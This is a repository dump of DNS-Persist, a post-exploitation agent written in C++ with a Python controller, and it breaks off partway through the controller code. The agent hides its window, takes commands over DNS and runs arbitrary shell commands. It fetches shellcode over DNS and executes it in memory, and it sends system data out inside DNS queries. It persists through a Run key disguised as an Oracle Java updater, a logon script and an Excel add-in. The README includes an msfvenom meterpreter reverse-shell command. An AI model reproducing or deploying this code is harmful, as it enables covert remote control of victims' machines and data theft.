├── .gitignore ├── Agent ├── Agent.sln └── Agent │ ├── Agent.aps │ ├── Agent.rc │ ├── Agent.vcxproj │ ├── Agent.vcxproj.filters │ ├── Agent.vcxproj.user │ ├── Commands.cpp │ ├── Commands.h │ ├── DNSCommunication.cpp │ ├── DNSCommunication.h │ ├── Declarations.h │ ├── Handler.cpp │ ├── Handler.h │ ├── Persistence.cpp │ ├── Persistence.h │ ├── XLSADDIN.xlam │ ├── main.cpp │ └── resource.h ├── LICENSE ├── README.md ├── images ├── Picture-1.png ├── Picture-2.png ├── Picture-3.png ├── Picture-4.png └── Picture-5.png ├── modules ├── AgentControllerCLI.py ├── DNSListener.py └── __init__.py └── server.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | *.exe 3 | *.pdb 4 | *.sdf 5 | *.ipch 6 | *.ilk 7 | *.obj 8 | *.tlog 9 | *.txt 10 | *.cache 11 | *.idb 12 | *.manifest 13 | *.log 14 | *.suo 15 | Agent/Agent/Release 16 | Agent/Agent/Debug 17 | .idea/ 18 | -------------------------------------------------------------------------------- /Agent/Agent.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 11.00 3 | # Visual C++ Express 2010 4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Agent", "Agent\Agent.vcxproj", "{F3650F8D-4059-43CC-BDFB-0FB803DFE650}" 5 | EndProject 6 | Global 7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 8 | Debug|Win32 = Debug|Win32 9 | Release|Win32 = Release|Win32 10 | EndGlobalSection 11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 12 | {F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Debug|Win32.ActiveCfg = Debug|Win32 13 | {F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Debug|Win32.Build.0 = Debug|Win32 14 | {F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Release|Win32.ActiveCfg = Release|Win32 15 | {F3650F8D-4059-43CC-BDFB-0FB803DFE650}.Release|Win32.Build.0 = Release|Win32 16 | EndGlobalSection 17 | GlobalSection(SolutionProperties) = preSolution 18 | HideSolutionNode = FALSE 19 | EndGlobalSection 20 | EndGlobal 21 | -------------------------------------------------------------------------------- /Agent/Agent/Agent.aps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/Agent/Agent/Agent.aps -------------------------------------------------------------------------------- /Agent/Agent/Agent.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/Agent/Agent/Agent.rc -------------------------------------------------------------------------------- /Agent/Agent/Agent.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {F3650F8D-4059-43CC-BDFB-0FB803DFE650} 15 | Agent 16 | 17 | 18 | 19 | Application 20 | true 21 | MultiByte 22 | 23 | 24 | Application 25 | false 26 | true 27 | MultiByte 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | false 41 | 42 | 43 | 44 | Level3 45 | Disabled 46 | 47 | 48 | true 49 | 50 | 51 | 52 | 53 | Level3 54 | MaxSpeed 55 | true 56 | true 57 | 58 | 59 | true 60 | true 61 | true 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | -------------------------------------------------------------------------------- /Agent/Agent/Agent.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | Header Files 52 | 53 | 54 | 55 | 56 | Resource Files 57 | 58 | 59 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /Agent/Agent/Agent.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /Agent/Agent/Commands.cpp: -------------------------------------------------------------------------------- 1 | #include "Commands.h" 2 | 3 | 4 | 5 | 6 | LPCSTR ProcessList(){ 7 | std::string pList = ExecuteCommand("tasklist"); 8 | LPSTR lpResponse = new CHAR[MAX_DATA_LENGTH]; 9 | StringCbPrintf(lpResponse,MAX_DATA_LENGTH,"%s",pList.c_str()); 10 | return lpResponse; 11 | } 12 | LPCSTR ExecuteShell(LPCSTR command){ 13 | std::string pList = ExecuteCommand(command); 14 | LPSTR lpResponse = new CHAR[MAX_DATA_LENGTH]; 15 | StringCbPrintf(lpResponse,MAX_DATA_LENGTH,"%s",pList.c_str()); 16 | return lpResponse; 17 | } 18 | LPCSTR SystemInfo(){ 19 | 20 | LPSTR lpResponse = new CHAR[MAX_DATA_LENGTH]; 21 | SYSTEM_INFO siSysInfo; 22 | GetSystemInfo(&siSysInfo); 23 | 24 | LPSTR computerName = new CHAR[MAX_COMPUTERNAME_LENGTH + 1]; 25 | DWORD len = MAX_COMPUTERNAME_LENGTH + 1; 26 | GetComputerNameA(computerName,&len); 27 | 28 | DWORD usernameSize = 104; 29 | LPSTR username = new CHAR[104+1]; 30 | GetUserName(username,&usernameSize); 31 | 32 | 33 | StringCbPrintf(lpResponse,MAX_DATA_LENGTH,"----- System Information -----\n\nComputerName: %s\\%s\nNumber of processors: %u\nOEM ID: %u\nProcessor type: %u\n",computerName,username,siSysInfo.dwNumberOfProcessors,siSysInfo.dwOemId,siSysInfo.dwProcessorType); 34 | 35 | return lpResponse; 36 | } 37 | 38 | char agentName[64]; 39 | static const char alphanum[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"; 40 | int stringLength = sizeof(alphanum) - 1; 41 | 42 | LPSTR AgentName(){ 43 | DWORD size = 9; 44 | if(strlen(agentName)==0){ 45 | std::string tempString; 46 | srand (time(NULL)); 47 | for(unsigned int i = 0; i < size-1; ++i) 48 | { 49 | tempString += alphanum[rand() % stringLength]; 50 | } 51 | StringCbPrintf(agentName,size,"%s",tempString.c_str()); 52 | } 53 | return agentName; 54 | } 55 | 56 | LPCSTR ExecuteShellcode(){ 57 | 58 | 59 | HANDLE hLocalThread; 60 | DWORD lpThreadId; 61 | 62 | std::string temp = GetShellcode(AgentName()); 63 | if(temp == NO_SHELLCODE){ 64 | return "[-] There was no shellcode [-]"; 65 | } 66 | 67 | LPCSTR data = temp.c_str(); 68 | 69 | hLocalThread = CreateThread(NULL,0,InjectShellcode,(LPVOID)data,0,&lpThreadId); 70 | //WaitForSingleObject(hLocalThread,INFINITE); 71 | Sleep(5); 72 | if(hLocalThread != NULL){ 73 | return "[+] Shellcode Injected Successfully [+]"; 74 | } 75 | return "[-] Failed to inject shellcode [-]"; 76 | 77 | } 78 | 79 | DWORD WINAPI InjectShellcode(LPVOID lpData){ 80 | 81 | LPVOID buffer = NULL; 82 | LPCSTR data = (LPCSTR)lpData; 83 | SIZE_T shLength = strlen(data); 84 | buffer = VirtualAlloc(NULL,shLength+1,(MEM_COMMIT | MEM_RESERVE),PAGE_EXECUTE_READWRITE); 85 | memcpy(buffer,data,shLength); 86 | __asm{ 87 | LEA EAX,buffer 88 | MOV EDX, DWORD PTR DS:[EAX] 89 | CALL EDX 90 | } 91 | return 0; 92 | } 93 | 94 | 95 | BOOL DropFileFromRes(LPCSTR fileName,DWORD resourceId){ 96 | 97 | 98 | HGLOBAL resMemoryHandler; 99 | HRSRC resHandler; 100 | LPCSTR resourceName = MAKEINTRESOURCE(resourceId); 101 | LPCSTR resourceType = RT_RCDATA; 102 | LPVOID lpData = NULL; 103 | SIZE_T size; 104 | DWORD dwBytesWritten = 0; 105 | 106 | 107 | resHandler = FindResource(NULL,resourceName,resourceType); 108 | LPVOID data; 109 | 110 | if(resHandler != NULL){ 111 | resMemoryHandler =LoadResource(NULL,resHandler); 112 | if(resMemoryHandler != NULL){ 113 | lpData = LockResource(resMemoryHandler); 114 | if(lpData != NULL){ 115 | size = SizeofResource(NULL,resHandler); 116 | data = VirtualAlloc(NULL,size+1,(MEM_COMMIT | MEM_RESERVE),PAGE_READWRITE); 117 | memcpy(data,lpData,size); 118 | }else{ 119 | return FALSE; 120 | } 121 | }else{ 122 | return FALSE; 123 | } 124 | }else{ 125 | return FALSE; 126 | } 127 | 128 | HANDLE fileHandler = CreateFile(fileName,(GENERIC_WRITE),FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); 129 | 130 | if(fileHandler != INVALID_HANDLE_VALUE){ 131 | WriteFile(fileHandler,data,size,&dwBytesWritten,NULL); 132 | CloseHandle(fileHandler); 133 | return TRUE; 134 | } 135 | else{ 136 | return FALSE; 137 | } 138 | 139 | } 140 | -------------------------------------------------------------------------------- /Agent/Agent/Commands.h: -------------------------------------------------------------------------------- 1 | #include "DNSCommunication.h" 2 | 3 | LPCSTR ProcessList(); 4 | LPCSTR SystemInfo(); 5 | LPCSTR ExecuteShellcode(); 6 | LPCSTR ExecuteShell(LPCSTR command); 7 | LPSTR AgentName(); 8 | 9 | DWORD WINAPI InjectShellcode(LPVOID lpData); 10 | BOOL DropFileFromRes(LPCSTR fileName,DWORD resourceId); -------------------------------------------------------------------------------- /Agent/Agent/DNSCommunication.cpp: -------------------------------------------------------------------------------- 1 | #include "DNSCommunication.h" 2 | 3 | BOOL SendData(LPSTR agentName, LPSTR data){ 4 | 5 | // Used string because of lack of knowledge :p. 6 | std::string response; 7 | 8 | DWORD data_length; 9 | DWORD data_remainder; 10 | DWORD chunks; 11 | DWORD chunk_size = 32; 12 | 13 | std::string hex_data; 14 | std::stringstream temp_data; 15 | 16 | DataToHEX(data,hex_data,TRUE); 17 | data_length = hex_data.length(); 18 | data_remainder = data_length % chunk_size; 19 | chunks = data_length % chunk_size; 20 | 21 | if(data_length > chunk_size){ 22 | for(unsigned int i=0; i < data_length; i+=chunk_size){ 23 | temp_data.str(std::string()); // Clear the temp_data stream 24 | if(i == 0){ 25 | temp_data << "7b21" << hex_data.substr(i,chunk_size);// Appends the beginning signature to the data 26 | }else if((i+data_remainder)>=data_length){ 27 | temp_data << hex_data.substr(i,chunk_size) << "217d";// Appends the end signature to the data 28 | }else{ 29 | temp_data << hex_data.substr(i,chunk_size); 30 | } 31 | 32 | response = SendDNSPacket(agentName,"DATA",temp_data.str().c_str()); 33 | } 34 | }else{ 35 | // To be implmeneted that if there is less data then 32 bytes which is very unusal, to add the stream. 36 | response = SendDNSPacket(agentName,"DATA",hex_data.c_str()); // Normally we should not get here. 37 | } 38 | 39 | response.erase(0,(int)response.find("RESP:") + 5); 40 | response.erase(response.length()-2,response.length()); 41 | 42 | if(response.compare("OK") == 0){ 43 | return TRUE; 44 | } 45 | // ERROR 46 | return FALSE; 47 | } 48 | 49 | // Not very Windows-like programming but it works. 50 | 51 | VOID DataToHEX(const std::string str, std::string& hexstr, bool capital = false) 52 | { 53 | hexstr.resize(str.size() * 2); 54 | const size_t a = capital ? 'A' - 1 : 'a' - 1; 55 | 56 | for (size_t i = 0, c = str[0] & 0xFF; i < hexstr.size(); c = str[i / 2] & 0xFF) 57 | { 58 | hexstr[i++] = c > 0x9F ? (c / 16 - 9) | a : c / 16 | '0'; 59 | hexstr[i++] = (c & 0xF) > 9 ? (c % 16 - 9) | a : c % 16 | '0'; 60 | } 61 | } 62 | 63 | std::string SendDNSPacket(LPSTR agentName,LPSTR packetType,LPCSTR responseData){ 64 | 65 | LPSTR domain = new CHAR[MAX_DOMAIN_LENGTH+1]; 66 | std::string response; 67 | PDNS_RECORD dnsRecord; 68 | 69 | if(lstrlen(responseData) == 0){ 70 | // This is probably a probe or command request 71 | StringCbPrintf(domain,MAX_DOMAIN_LENGTH,"%s-%s.%s",agentName,packetType,DOMAIN_NAME); 72 | 73 | }else{ 74 | // This sends the data to the server. 75 | StringCbPrintf(domain,MAX_DOMAIN_LENGTH,"%s-%s-%s.%s",agentName,packetType,responseData,DOMAIN_NAME); 76 | } 77 | 78 | WORD dnsType = DNS_TYPE_TEXT; 79 | DNS_STATUS dnsStatus; 80 | dnsStatus = DnsQuery(domain,dnsType,DNS_QUERY_BYPASS_CACHE,NULL,&dnsRecord,NULL); 81 | 82 | if(!dnsStatus){ 83 | response = dnsRecord->Data.TXT.pStringArray[0]; 84 | }else{ 85 | response = "ERROR"; 86 | } 87 | cout << response; 88 | return response; 89 | } 90 | 91 | 92 | std::string GetShellcode(LPSTR agentName){ 93 | LPSTR domain = new CHAR[MAX_DOMAIN_LENGTH+1]; 94 | 95 | BOOL bEnd = FALSE; 96 | std::string response; 97 | std::string shellcode; 98 | PDNS_RECORD dnsRecord; 99 | WORD dnsType = DNS_TYPE_TEXT; 100 | DNS_STATUS dnsStatus; 101 | 102 | StringCbPrintf(domain,MAX_DOMAIN_LENGTH,"%s-SHL.%s",agentName,DOMAIN_NAME); 103 | 104 | while(!bEnd){ 105 | 106 | dnsStatus = DnsQuery(domain,dnsType,DNS_QUERY_BYPASS_CACHE,NULL,&dnsRecord,NULL); 107 | if(!dnsStatus){ 108 | response = dnsRecord->Data.TXT.pStringArray[0]; 109 | } 110 | 111 | if(response.find(NO_SHELLCODE) != std::string::npos){ 112 | return NO_SHELLCODE; 113 | } 114 | else if(response.find(START) != std::string::npos){ 115 | shellcode = std::string(); 116 | shellcode = response.erase(0,2); 117 | } 118 | else if(response.find(END) != std::string::npos){ 119 | shellcode.append(response.erase(response.length()-2,response.length())); 120 | bEnd = TRUE; 121 | }else{ 122 | shellcode.append(response); 123 | } 124 | 125 | 126 | } 127 | 128 | // This is probably not the best way to do this but hey i'm not an expert in C++ 129 | SIZE_T len; 130 | len = shellcode.length(); 131 | std::string returnValue; 132 | for(int i=0; i< len; i+=2) 133 | { 134 | std::string byte = shellcode.substr(i,2); 135 | char chr = (char) (int)strtol(byte.c_str(), NULL, 16); 136 | returnValue.push_back(chr); 137 | } 138 | 139 | return returnValue; 140 | 141 | } 142 | 143 | 144 | std::string ExecuteCommand(LPCSTR cmd) { 145 | std::string data; 146 | FILE * stream; 147 | const int max_buffer = 256; 148 | char buffer[max_buffer]; 149 | stream = _popen(cmd, "r"); 150 | if (stream) { 151 | while (!feof(stream)) 152 | if (fgets(buffer, max_buffer, stream) != NULL) data.append(buffer); 153 | _pclose(stream); 154 | } 155 | return data; 156 | } -------------------------------------------------------------------------------- /Agent/Agent/DNSCommunication.h: -------------------------------------------------------------------------------- 1 | #include "Declarations.h" 2 | 3 | 4 | 5 | BOOL SendData(LPSTR agentName, LPSTR data); 6 | VOID DataToHEX(const std::string str, std::string& hexstr, bool capital); 7 | std::string SendDNSPacket(LPSTR agentName,LPSTR packetType,LPCSTR responseData); 8 | std::string ExecuteCommand(LPCSTR command); 9 | std::string GetShellcode(LPSTR agentName); 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /Agent/Agent/Declarations.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "resource.h" 5 | #include "Shlwapi.h" 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | 14 | #pragma comment(lib, "Shlwapi.lib") 15 | #pragma comment (lib, "Dnsapi.lib") 16 | 17 | 18 | using std::cout; 19 | 20 | 21 | #define MAX_DOMAIN_LENGTH 2048 22 | #define PROBE "PROBE" 23 | #define CMD "CMD" 24 | 25 | #define DOMAIN_NAME "example.com" 26 | #define MAX_DATA_LENGTH 1048576 27 | 28 | #define START "{!" 29 | #define END "!}" 30 | #define NO_SHELLCODE "!@!" 31 | 32 | #define PERSIST_RUNKEY 1 33 | #define PERSIST_LOGONSCRIPT 2 34 | #define PERSIST_EXCELADDIN 3 35 | 36 | -------------------------------------------------------------------------------- /Agent/Agent/Handler.cpp: -------------------------------------------------------------------------------- 1 | #include "Handler.h" 2 | 3 | LPCSTR HandleCommand(LPCSTR command){ 4 | 5 | std::string data = command; 6 | 7 | if(strstr(command,"PRT-") != NULL){ 8 | data.erase(0,4); 9 | DWORD method = atoi(data.c_str()); 10 | return Persist(method); 11 | } 12 | else if(strstr(command,"SYS") != NULL){ 13 | return SystemInfo(); 14 | } 15 | else if(strstr(command,"PSL") != NULL){ 16 | return ProcessList(); 17 | } 18 | else if(strstr(command,"INJ") != NULL){ 19 | return ExecuteShellcode(); 20 | } 21 | else if(strstr(command,"ECM-") != NULL){ 22 | data.erase(0,4); 23 | return ExecuteShell(data.c_str()); 24 | } 25 | 26 | return "ERROR HANDLING COMMAND"; 27 | 28 | } -------------------------------------------------------------------------------- /Agent/Agent/Handler.h: -------------------------------------------------------------------------------- 1 | #include "Declarations.h" 2 | #include "Persistence.h" 3 | #include "Commands.h" 4 | 5 | LPCSTR HandleCommand(LPCSTR command); -------------------------------------------------------------------------------- /Agent/Agent/Persistence.cpp: -------------------------------------------------------------------------------- 1 | #include "Persistence.h" 2 | 3 | LPCSTR Persist(DWORD method){ 4 | 5 | switch(method){ 6 | case PERSIST_RUNKEY: 7 | if(PersistRunKey()){ 8 | return "[+] Run key Persistence Successfull [+]"; 9 | } 10 | case PERSIST_LOGONSCRIPT: 11 | if(PersistLogonScript()){ 12 | return "[+] Logon script Persistence Successfull [+]"; 13 | } 14 | case PERSIST_EXCELADDIN: 15 | if(PersistExcelAddin()){ 16 | return "[+] Excel addin Persistence Successfull [+]"; 17 | } 18 | } 19 | return "[-] Persistence failed [-]"; 20 | } 21 | 22 | 23 | BOOL PersistRunKey(){ 24 | 25 | LPSTR cFile = new CHAR[MAX_PATH+1]; 26 | LPSTR fDestination = new CHAR[MAX_PATH+1]; 27 | LPSTR appdata = new CHAR[MAX_PATH+1]; 28 | GetEnvironmentVariable("appdata",appdata,MAX_PATH); 29 | 30 | StringCbPrintf(fDestination,MAX_PATH,"%s\\jusched.exe",appdata); 31 | 32 | GetModuleFileName(NULL,cFile,MAX_PATH); 33 | if(CopyFile(cFile,fDestination,TRUE) != 0){ 34 | SetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN); 35 | HKEY hKey; 36 | RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey); 37 | RegSetValueEx(hKey,"Oracle Java Update Scheduler",0,REG_SZ,(LPBYTE)(LPCSTR)fDestination,MAX_PATH); 38 | RegCloseKey(hKey); 39 | return TRUE; 40 | 41 | } 42 | return FALSE; 43 | } 44 | 45 | 46 | BOOL PersistLogonScript(){ 47 | 48 | LPSTR cFile = new CHAR[MAX_PATH+1]; 49 | LPSTR fDestination = new CHAR[MAX_PATH+1]; 50 | LPSTR userProfile = new CHAR[MAX_PATH+1]; 51 | GetEnvironmentVariable("userprofile",userProfile,MAX_PATH); 52 | StringCbPrintf(fDestination,MAX_PATH,"%s\\jusched.exe",userProfile); 53 | GetModuleFileName(NULL,cFile,MAX_PATH); 54 | if(CopyFile(cFile,fDestination,TRUE) != 0){ 55 | SetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN); 56 | HKEY hKey; 57 | RegOpenKey(HKEY_CURRENT_USER,"Environment",&hKey); 58 | RegSetValueEx(hKey,"UserInitMprLogonScript",0,REG_SZ,(LPBYTE)(LPCSTR)fDestination,MAX_PATH); 59 | RegCloseKey(hKey); 60 | return TRUE; 61 | } 62 | return FALSE; 63 | 64 | 65 | 66 | } 67 | 68 | 69 | BOOL PersistExcelAddin(){ 70 | 71 | LPSTR appData = new CHAR[MAX_PATH+1]; 72 | LPSTR fileDest = new CHAR[MAX_PATH+1]; 73 | 74 | GetEnvironmentVariable("appdata",appData,MAX_PATH); 75 | StringCbPrintf(fileDest,MAX_PATH,"%s\\Microsoft\\Excel\\XLSTART",appData); 76 | 77 | 78 | if(PathFileExists(fileDest)){ 79 | StringCbPrintf(fileDest,MAX_PATH,"%s\\XLS_ADDIN.xlam",fileDest); 80 | DropFileFromRes(fileDest,IDR_RCDATA1); 81 | LPSTR cFile = new CHAR[MAX_PATH+1]; 82 | LPSTR fDestination = new CHAR[MAX_PATH+1]; 83 | LPSTR appData = new CHAR[MAX_PATH+1]; 84 | GetEnvironmentVariable("appdata",appData,MAX_PATH); 85 | StringCbPrintf(fDestination,MAX_PATH,"%s\\jsched.exe",appData); 86 | GetModuleFileName(NULL,cFile,MAX_PATH); 87 | if(CopyFile(cFile,fDestination,TRUE) != 0){ 88 | SetFileAttributes(fDestination,FILE_ATTRIBUTE_HIDDEN); 89 | return TRUE; 90 | } 91 | } 92 | 93 | return FALSE; 94 | } -------------------------------------------------------------------------------- /Agent/Agent/Persistence.h: -------------------------------------------------------------------------------- 1 | #include "Declarations.h" 2 | #include "Commands.h" 3 | 4 | 5 | LPCSTR Persist(DWORD method); 6 | BOOL PersistRunKey(); 7 | BOOL PersistLogonScript(); 8 | BOOL PersistExcelAddin(); 9 | -------------------------------------------------------------------------------- /Agent/Agent/XLSADDIN.xlam: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/Agent/Agent/XLSADDIN.xlam -------------------------------------------------------------------------------- /Agent/Agent/main.cpp: -------------------------------------------------------------------------------- 1 | #include "Declarations.h" 2 | #include "DNSCommunication.h" 3 | #include "Handler.h" 4 | #include "Commands.h" 5 | 6 | int main(){ 7 | 8 | ShowWindow(GetConsoleWindow(), SW_HIDE); 9 | LPSTR agentName = AgentName(); 10 | std::string response; 11 | std::string tmp_command; 12 | DWORD numberOfCommands = 0; 13 | DWORD i = 0; 14 | while(TRUE){ 15 | Sleep(5000); 16 | response = SendDNSPacket(agentName,PROBE,NULL); 17 | if (response.find("There were no commands") == std::string::npos){ 18 | if (response.find("NR:")!= std::string::npos){ 19 | // This gets the number of commands from the DNS server. 20 | response.erase(0,(int)response.find(":")+1); 21 | numberOfCommands = atoi(response.c_str()); 22 | for(i=0;i(HandleCommand(tmp_command.c_str()))); 27 | } 28 | } 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /Agent/Agent/resource.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/Agent/Agent/resource.h -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Rio 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DNS-Persist 2 | DNS-Persist is a post-exploitation agent which uses DNS for command and control. The server-side code is in Python and the agent is coded in C++. This is the first version, more features and improvements will be made in the future. 3 | 4 | ## Getting Started 5 | ### Author 6 | 0x09AL - https://twitter.com/0x09al 7 | ### Disclaimer 8 | DO NOT USE THIS SOFTWARE FOR ILLEGALL PURPOSES. 9 | 10 | THE AUTHOR DOES NOT KEEP ANY RESPONSIBILITY FOR ANY MISUSE OF THE CODE PROVIDED HERE. 11 | 12 | ## Did I reinvent the wheel ? 13 | There is a lot of great work on DNS C2 but I created this software to be more focused on the persistence part. I'm no expert in C++ and this is my first "real program" in C++ (so expect some cringe worthy code). 14 | 15 | Suggestions about features and improvements are open. 16 | 17 | ## Architecture 18 | 19 | There are two main parts: 20 | 1. DNS server 21 | 2. Agent 22 | 23 | ![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-5.png "Architecture") 24 | 25 | ## Features 26 | ### Persistence mechanisms 27 | This version has only 3 persistence mechanisms. More will be added later. 28 | 1. LogonScript persistence. 29 | 2. RunKey persistence. 30 | 3. Excel Addin persistence. 31 | 32 | ### 'Interactive' command shell 33 | This version supports pseudo-interactive command shell that you can use to execute system commands. 34 | 35 | 36 | ### Shellcode Injection 37 | This version supports injection of 32-bit shellcode. The shellcode gets executed in a new thread in the same process, so crashing shellcode or invalid one will also crash the agent. Avoid NULL bytes on the shellcode. 38 | 39 | #### Shellcode generation example 40 | ``` 41 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex 42 | ``` 43 | 44 | ## TODO LIST 45 | 1. Add encryption. **This version does not have any encryption so take your own risks when using it.** 46 | 2. Add more persistence mechanisms. 47 | 3. Agent in different programming languages. 48 | 49 | ## Installation & Usage 50 | ### Server side 51 | ``` 52 | pip install dnslib 53 | git clone https://github.com/0x09AL/DNS-Persist 54 | python server.py 55 | ``` 56 | By default a DNS server on port 53 will be started. You can change that on the server.py file. 57 | 58 | ### Agent 59 | I used Visual Studio 2010 to code the agent so importing and compiling it should be fairly easy. 60 | 61 | Keep in mind to change the DOMAIN_NAME variable in Declarations.h, to match your domain name. 62 | 63 | The domain nameservers should point to the DNS-Persist IP address. 64 | 65 | 66 | ``` 67 | #define DOMAIN_NAME "example.com" 68 | ``` 69 | 70 | ## Screenshots 71 | 72 | 1. Picture-1 73 | 74 | ![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-1.png "Picture-1") 75 | 76 | 2. Picture-2 77 | 78 | ![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-2.png "Picture-2") 79 | 80 | 3. Picture-3 81 | 82 | ![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-3.png "Picture-3") 83 | 84 | 4. Picture-4 85 | 86 | ![alt text](https://raw.githubusercontent.com/0x09AL/DNS-Persist/master/images/Picture-4.png "Picture-4") 87 | 88 | 89 | 90 | -------------------------------------------------------------------------------- /images/Picture-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/images/Picture-1.png -------------------------------------------------------------------------------- /images/Picture-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/images/Picture-2.png -------------------------------------------------------------------------------- /images/Picture-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/images/Picture-3.png -------------------------------------------------------------------------------- /images/Picture-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/images/Picture-4.png -------------------------------------------------------------------------------- /images/Picture-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0x09AL/DNS-Persist/085eb804de7ba79e9aa6f532d515ccea30d75269/images/Picture-5.png -------------------------------------------------------------------------------- /modules/AgentControllerCLI.py: -------------------------------------------------------------------------------- 1 | import cmd 2 | 3 | activeAgents = ["PC-01","FUCK"] 4 | 5 | 6 | def changeInteractedAgent(agent): 7 | print agent 8 | 9 | class Input(cmd.Cmd): 10 | 11 | 12 | AGENTS = activeAgents 13 | prompt = "DNS-C2 #> " 14 | def do_agents(self,s): 15 | self.list_agents() 16 | def do_interact(self,agent): 17 | self.AGENTS = activeAgents 18 | if(agent in self.AGENTS): 19 | print "[+] Interacting with : " + agent + " [+]" 20 | changeInteractedAgent(agent) 21 | agentInteraction = AgentCMD() 22 | agentInteraction.prompt = self.prompt + "(" + agent + "): " 23 | agentInteraction.cmdloop() 24 | else: 25 | print "[-] Agent not valid [-]" 26 | 27 | def complete_interact(self, text, line, begidx, endidx): 28 | if not text: 29 | completions = self.AGENTS[:] 30 | else: 31 | completions = [ f 32 | for f in self.AGENTS 33 | if f.startswith(text) 34 | ] 35 | return completions 36 | def do_quit(self,s): 37 | exit(0) 38 | def emptyline(self): 39 | pass 40 | def list_agents(self): 41 | for agent in activeAgents: 42 | print agent 43 | 44 | 45 | def getInteractedAgent(): 46 | global interactedAgent 47 | return interactedAgent 48 | 49 | 50 | 51 | class AgentCMD(cmd.Cmd): 52 | 53 | # This is the Agent command 